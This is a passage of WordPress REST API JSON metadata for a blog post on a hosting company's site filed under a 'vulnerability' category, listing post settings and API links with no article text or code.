&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21851","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21851","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21851"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21851\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21851"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}